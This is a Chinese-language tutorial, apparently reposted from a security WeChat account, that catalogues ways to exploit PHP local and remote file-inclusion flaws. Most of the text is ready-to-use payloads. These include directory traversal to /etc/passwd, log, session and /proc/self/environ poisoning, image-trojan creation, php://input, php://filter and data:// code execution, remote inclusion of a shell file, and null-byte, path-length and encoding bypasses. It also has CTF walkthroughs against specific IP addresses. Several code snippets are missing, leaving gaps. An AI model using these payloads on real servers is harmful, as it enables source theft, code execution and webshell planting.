歡迎光臨
每天分享高質量文章

PHP 檔案包含漏洞姿勢總結

來自:信安之路(微訊號:xazlsec)

作者:mang0(來自信安之路學生滲透小組)

原理

檔案包含漏洞的產生原因是在透過 PHP 的函式引入檔案時,由於傳入的檔案名沒有經過合理的校驗,從而操作了預想之外的檔案,就可能導致意外的檔案洩露甚至惡意的程式碼註入。

php 中引發檔案包含漏洞的通常是以下四個函式:

1、include() 當使用該函式包含檔案時,只有程式碼執行到 include() 函式時才將檔案包含進來,發生錯誤時只給出一個警告,繼續向下執行。

2、include_once() 功能和 include() 相同,區別在於當重覆呼叫同一檔案時,程式只呼叫一次。

3、require() 只要程式一執行就會立即呼叫檔案,發生錯誤的時候會輸出錯誤資訊,並且終止指令碼的執行

4、require_once() 它的功能與 require() 相同,區別在於當重覆呼叫同一檔案時,程式只呼叫一次。

當使用這四個函式包含一個新檔案時,該檔案將作為 PHP 程式碼執行,php 核心並不在意該被包含的檔案是什麼型別。所以如果被包含的是 txt 檔案、圖片檔案、遠端 url、也都將作為 PHP 程式碼執行。這一特性,在實施攻擊時非常有用。

利用條件

(1) include 等函式透過動態執行變數的方式引入需要包含的檔案;

(2)使用者能控制該動態變數。

分類

檔案包含漏洞可以分為 RFI (遠端檔案包含)和 LFI(本地檔案包含漏洞)兩種。而區分他們最簡單的方法就是 php.ini 中是否開啟了allow_url_include。如果開啟 了我們就有可能包含遠端檔案。

1、本地檔案包含 LFI(Local File Include)

2、遠端檔案包含 RFI(Remote File Include)(需要 php.ini 中 allow_url_include=on、allow_url_fopen = On)

在 php.ini 中,allow_url_fopen 預設一直是 On,而 allow_url_include 從 php5.2 之後就預設為 Off。

一、本地包含

包含同目錄下的檔案

?file=test.txt

目錄遍歷:

?file=./../../test.txt

./ 當前目錄 ../ 上一級目錄,這樣的遍歷目錄來讀取檔案

包含圖片木馬

命令列下執行:

copy x.jpg /b + s.php /b f.jpg

上傳 f.jpg、找到 f.jpg 路徑、包含 f.jpg

包含日誌

利用條件:需要知道伺服器日誌的儲存路徑,且日誌檔案可讀。

很多時候,web 伺服器會將請求寫入到日誌檔案中,比如說 apache。在使用者發起請求時,會將請求寫入 access.log,當發生錯誤時將錯誤寫入 error.log。預設情況下,日誌儲存路徑在 /var/log/apache2/

?file=../../../../../../../../../var/log/apache/error.log

1、提交如下請求,將 payload 插入日誌

 

2、可以嘗試利用 UA 插入 payload 到日誌檔案

3、MSF 攻擊模組

 

日誌預設路徑

apache+Linux 日誌預設路徑

/etc/httpd/logs/access_log

或者

/var/log/httpd/access log

apache+win2003 日誌預設路徑

D:/xampp/apache/logs/access.log

D:/xampp/apache/logs/error.log

IIS6.0+win2003 預設日誌檔案

C:/WINDOWS/system32/Logfiles

IIS7.0+win2003 預設日誌檔案

%SystemDrive%/inetpub/logs/LogFiles

nginx 日誌檔案在使用者安裝目錄的 logs 目錄下

如安裝目錄為 /usr/local/nginx,則日誌目錄就是在

/usr/local/nginx/logs

也可透過其配置檔案 Nginx.conf,獲取到日誌的存在路徑

/opt/nginx/logs/access.log

web 中介軟體預設配置

apache+linux 預設配置檔案

/etc/httpd/conf/httpd.conf

或者

index.php?page=/etc/init.d/httpd

IIS6.0+win2003 配置檔案

C:/Windows/system32/inetsrv/metabase.xml

IIS7.0+WIN 配置檔案

C:/Windows/System32/inetsrv/config/application/Host.config

包含 session

利用條件:session 檔案路徑已知,且其中內容部分可控。

PHP 預設生成的 Session 檔案往往存放在 /tmp 目錄下

/tmp/sess_SESSIONID

?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7

session 檔案一般在 /tmp 目錄下,格式為 sess_[your phpsessid value],有時候也有可能在 /var/lib/php5 之類的,在此之前建議先讀取配置檔案。在某些特定的情況下如果你能夠控制 session 的值,也許你能夠獲得一個 shell

包含 /proc/self/environ 檔案

利用條件:

1、php 以 cgi 方式執行,這樣 environ 才會保持 UA 頭。

2、environ 檔案儲存位置已知,且 environ 檔案可讀。

姿勢:

proc/self/environ 中會儲存 user-agent 頭。如果在 user-agent 中插入 php 程式碼,則 php 程式碼會被寫入到 environ 中。之後再包含它,即可。

?file=../../../../../../../proc/self/environ

選擇 User-Agent 寫程式碼如下:

然後提交請求。

包含臨時檔案

php 中上傳檔案,會建立臨時檔案。在 linux 下使用 /tmp 目錄,而在 windows 下使用 c:winsdows emp 目錄。在臨時檔案被刪除之前,利用競爭即可包含該臨時檔案。

由於包含需要知道包含的檔案名。一種方法是進行暴力猜解,linux 下使用的隨機函式有缺陷,而 window 下只有 65535 中不同的檔案名,所以這個方法是可行的。另一種方法 phpinfo 來獲取臨時檔案的路徑以及名稱,然後臨時檔案在極短時間被刪除的時候,需要競爭時間包含臨時檔案拿到 webshell。

有防禦的本地檔案包含

審計中可見這樣的包含模版檔案:

 

這段程式碼指定了字首和字尾:這樣就很“難”直接去包含前面提到的種種檔案。

1、%00 截斷

能利用 00 截斷的場景現在應該很少了

PHP 內核是由 C 語言實現的,因此使用了 C 語言中的一些字串處理函式。在連線字串時,0 位元組 () 將作為字串的結束符。所以在這個地方,攻擊者只要在最後加入一個 0 位元組,就能截斷 file 變數之後的字串。

?file=../../../../../../../../../etc/passwd%00

需要 magic_quotes_gpc=off,PHP 小於 5.3.4 有效

2、%00 截斷目錄遍歷:

?file=../../../../../../../../../var/www/%00

需要 magic_quotes_gpc=off,unix 檔案系統,比如 FreeBSD,OpenBSD,NetBSD,Solaris

3、路徑長度截斷:

?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.

php 版本小於 5.2.8 可以成功,linux 需要檔案名長於 4096,windows 需要長於 256

利用作業系統對目錄最大長度的限制,可以不需要 0 位元組而達到截斷的目的。

我們知道目錄字串,在 window 下 256 位元組、linux 下 4096 位元組時會達到最大值,最大值長度之後的字元將被丟棄。

而利用 “./” 的方式即可構造出超長目錄字串:

4、點號截斷:

?file=../../../../../../../../../boot.ini/………[…]…………

php 版本小於 5.2.8 可以成功,只適用 windows,點號需要長於 256

5、編碼繞過

伺服器端常常會對於 ../ 等做一些過濾,可以用一些編碼來進行繞過。下麵這些總結來自《白帽子講 Web 安全》。

利用 url 編碼:

../ -》 %2e%2e%2f -》 ..%2f -》 %2e%2e/

.. -》 %2e%2e%5c -》 ..%5c -》 %2e%2e

二次編碼:

../ -》 %252e%252e%252f

.. -》 %252e%252e%255c

二、遠端檔案包含

?file=[http|https|ftp]://www.bbb.com/shell.txt

可以有三種,http、https、ftp

有防禦的遠端檔案包含

 

攻擊者可以構造類似如下的攻擊 URL

http://localhost/FIleInclude/index.php?path=http://localhost/test/solution.php? =http://localhost/FIleInclude/index.php?path=http://localhost/test/solution.php%23

產生的原理:

/?path=http://localhost/test/solution.php?

最終標的應用程式程式碼實際上執行了:

require_once “http://localhost/test/solution.php?/action/m_share.php”;

註意,這裡很巧妙,問號 “?” 後面的程式碼被解釋成 URL 的 querystring,這也是一種”截斷”思想,和 %00 一樣

攻擊者可以在 http://localhost/test/solution.php 上模擬出相應的路徑,從而使之吻合

PHP 中的封裝協議(偽協議)

http://cn2.php.net/manual/zh/wrappers.php

file:///var/www/html 訪問本地檔案系統

ftp://:@ 訪問 FTP(s) URLs

data:// 資料流

http:// — 訪問 HTTP(s) URLs

ftp:// — 訪問 FTP(s) URLs

php:// — 訪問各個輸入/輸出流

zlib:// — 壓縮流

data:// — Data (RFC 2397)

glob:// — 查詢匹配的檔案路徑樣式

phar:// — PHP Archive

ssh2:// — Secure Shell 2

rar:// — RAR

ogg:// — Audio streams

expect:// — 處理互動式的流

利用 php 流 input:

利用條件:

1、allow_url_include = On。

2、對 allow_url_fopen 不做要求。

index.php?file=php://input

POST:

phpinfo();?>

 

結果將在 index.php 所在檔案下的檔案 shell.php 內增加 “” 一句話

利用 php 流 filter:

?file=php://filter/convert.base64-encode/resource=index.php

透過指定末尾的檔案,可以讀取經 base64 加密後的檔案原始碼,之後再 base64 解碼一下就行。雖然不能直接獲取到 shell 等,但能讀取敏感檔案危害也是挺大的。

其他姿勢:

index.php?file=php://filter/convert.base64-encode/resource=index.php

效果跟前面一樣,少了 read 等關鍵字。在繞過一些 waf 時也許有用。

利用 data URIs:

利用條件:

1、php 版本大於等於 php5.2

2、allow_url_fopen = On

3、allow_url_include = On

利用 data:// 偽協議進行程式碼執行的思路原理和 php:// 是類似的,都是利用了 PHP 中的流的概念,將原本的 include 的檔案流重定向到了使用者可控制的輸入流中

?file=data:text/plain,

?file=data:text/plain;base64,base64編碼的payload

index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

加號 + 的 url 編碼為 %2b,PD9waHAgcGhwaW5mbygpOz8+ 的 base64 解碼為:

需要 allow_url_include=On

利用 XSS 執行任意程式碼:

?file=http://127.0.0.1/path/xss.php?xss=phpcode

利用條件:

1、allow_url_fopen = On

2、並且防火牆或者白名單不允許訪問外網時,先在同站點找一個 XSS 漏洞,包含這個頁面,就可以註入惡意程式碼了。條件非常極端和特殊

glob:// 偽協議

glob:// 查詢匹配的檔案路徑樣式

phar://

利用條件:

1、php 版本大於等於 php5.3.0

姿勢:

假設有個檔案 phpinfo.txt,其內容為 ,打包成 zip 壓縮包,如下:

指定絕對路徑

index.php?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt

或者使用相對路徑(這裡 test.zip 就在當前目錄下)

index.php?file=phar://test.zip/phpinfo.txt

zip://

利用條件:

1、php 版本大於等於 php5.3.0

 





擷取過來的後面 4 格字元,判斷是不是 jpg,如果是 jpg 才進行包含

但使用 zip 協議,需要指定絕對路徑,同時將 # 編碼為 %23,之後填上壓縮包內的檔案。

然後我們構造 zip://php.zip#php.jpg

index.php?file=zip://D:phpStudyWWWileinclude est.zip%23php.jpg

註意事項:

1、若是使用相對路徑,則會包含失敗。

2、協議原型:zip://archive.zip#dir/file.txt

3、註意 url 編碼,因為這個 # 會和 url 協議中的 # 衝突

CTF 中的檔案包含套路

php 偽協議讀取原始碼

點選 login,發現連結變為:

http://54.222.188.152:1/index.php?action=login.php

推測檔案包含 訪問:

http://54.222.188.152:1/index.php?action=php://filter/read=convert.base64-encode/resource=login.php

得到原始碼

貪婪包含

iscc2018 的一道題目,開啟題目

檢視原始碼

知道這裡呼叫 show.php?img=1.jpg 訪問,並修改 1 的值

大概可以猜測 檔案包含漏洞,嘗試

img=php://filter/read=convert.base64-encode/resource=show.php

但是不行

題目的坑點在於還需要包含 jpg,這就是貪婪包含所在,也就是後臺某處程式碼所致,

curl http://118.190.152.202:8006/show.php?img=php://filter/resource=jpg/resource=show.php

 php

1、開頭包含了 config.php

2、img 必須有 jpg 但又不能有 resource=.*jpg

3、正則檢查了並把結果填充到 $matches 裡去,說明我們可以使用 php://filter 偽協議,並且 resource 的值不含|,那麼我們就可以用| 來分隔 php 和 jpg,因為正則匹配到| 就不會繼續匹配後面的 jpg 了,使得 $img=show.php

知道了 config.php 再去訪問明白為什麼必須包含 jpg

 

最終 payload:

http://118.190.152.202:8006/show.php?img=php://filter/resource=../flag.php|jpg

%00 截斷

要求:

1、php 版本小於 5.3.4

2、magic_quotes_gpc 為 off 狀態

大多數的檔案包含漏洞都是需要截斷的,因為正常程式裡麵包含的檔案程式碼一般是 include(BASEPATH.$mod.’.php’) 或者 include($mod.’.php’) 這樣的方式,如果我們不能寫入 .php 為副檔名的檔案,那我們是需要截斷來利用的受限與 gpc 和 addslashes 等函式的過濾,另外,php5.3 之後的版本全面修複了 %00 截斷的問題

 

上傳我們的 2.txt 檔案,請求

http://localhost/test/1.php?a=2.txt%00

即可執行 2.txt 中 phpinfo 的程式碼

列子二

漏洞檔案 index.php

 









flag 檔案放在上層目錄

這裡限制了字尾名,我們需要透過截斷才能訪問到 flag 檔案 利用程式碼:

index.php?file=../../flag.php%00

%00 會被解析為 0x00,所以導致截斷的發生 我們透過截斷成功的繞過了字尾限制

路徑長度截斷

我們現在已經知道使用 %00 截斷有兩個條件 php 版本小於 5.3.4 和 magic_quotes_gpc 為 off 狀態。 如果這時我們將 magic_quotes_gpc 改為 on 那麼就不能截斷了,因為開啟 magic_quotes_gpc 後 %00 會被加上一個反斜槓轉義掉

那麼我們這時候有沒有辦法繞過這個限制呢?有一個條件那就是 php 版本小於 5.3.10 我們的程式碼依舊不變 漏洞檔案 index.php

 










flag 檔案放在上層目錄 這時我們可以使用字元 ./. 和 ./ 來進行繞過,因為檔案路徑有長度限制

windows 259 個 bytes

linux 4096 個 bytes

在 windows 下需要.字元最少的利用 POC1:

file=../../flag.php..............................................................................................................................................................................................................................................

在 windows 下需要.字元最少的利用 POC2:

file=../../flag.php./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

將 flag.php 改為 flag1.php 在 windows 下需要.字元最少的利用 POC3:

file=../../flag1.php/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

我們發現在使用 payload3 時將檔案名改為了 flag1.php,而 payload2 和 payload3 則是一個.開始,一個 / 開始。 這和檔案長度的奇偶性有關,當為偶數的時候我們選擇 payload2,為奇數的時候我們選擇 payload3

Refer:

檸檬師傅:

https://www.cnblogs.com/iamstudy/articles/include_file.html

腹黑師傅:

https://zhuanlan.zhihu.com/p/27739315


編號614,輸入編號直達本文

●輸入m獲取文章目錄

推薦↓↓↓

Web開發

更多推薦18個技術類微信公眾號

涵蓋:程式人生、演演算法與資料結構、駭客技術與網路安全、大資料技術、前端開發、Java、Python、Web開發、安卓開發、iOS開發、C/C++、.NET、Linux、資料庫、運維等。

贊(0)

分享創造快樂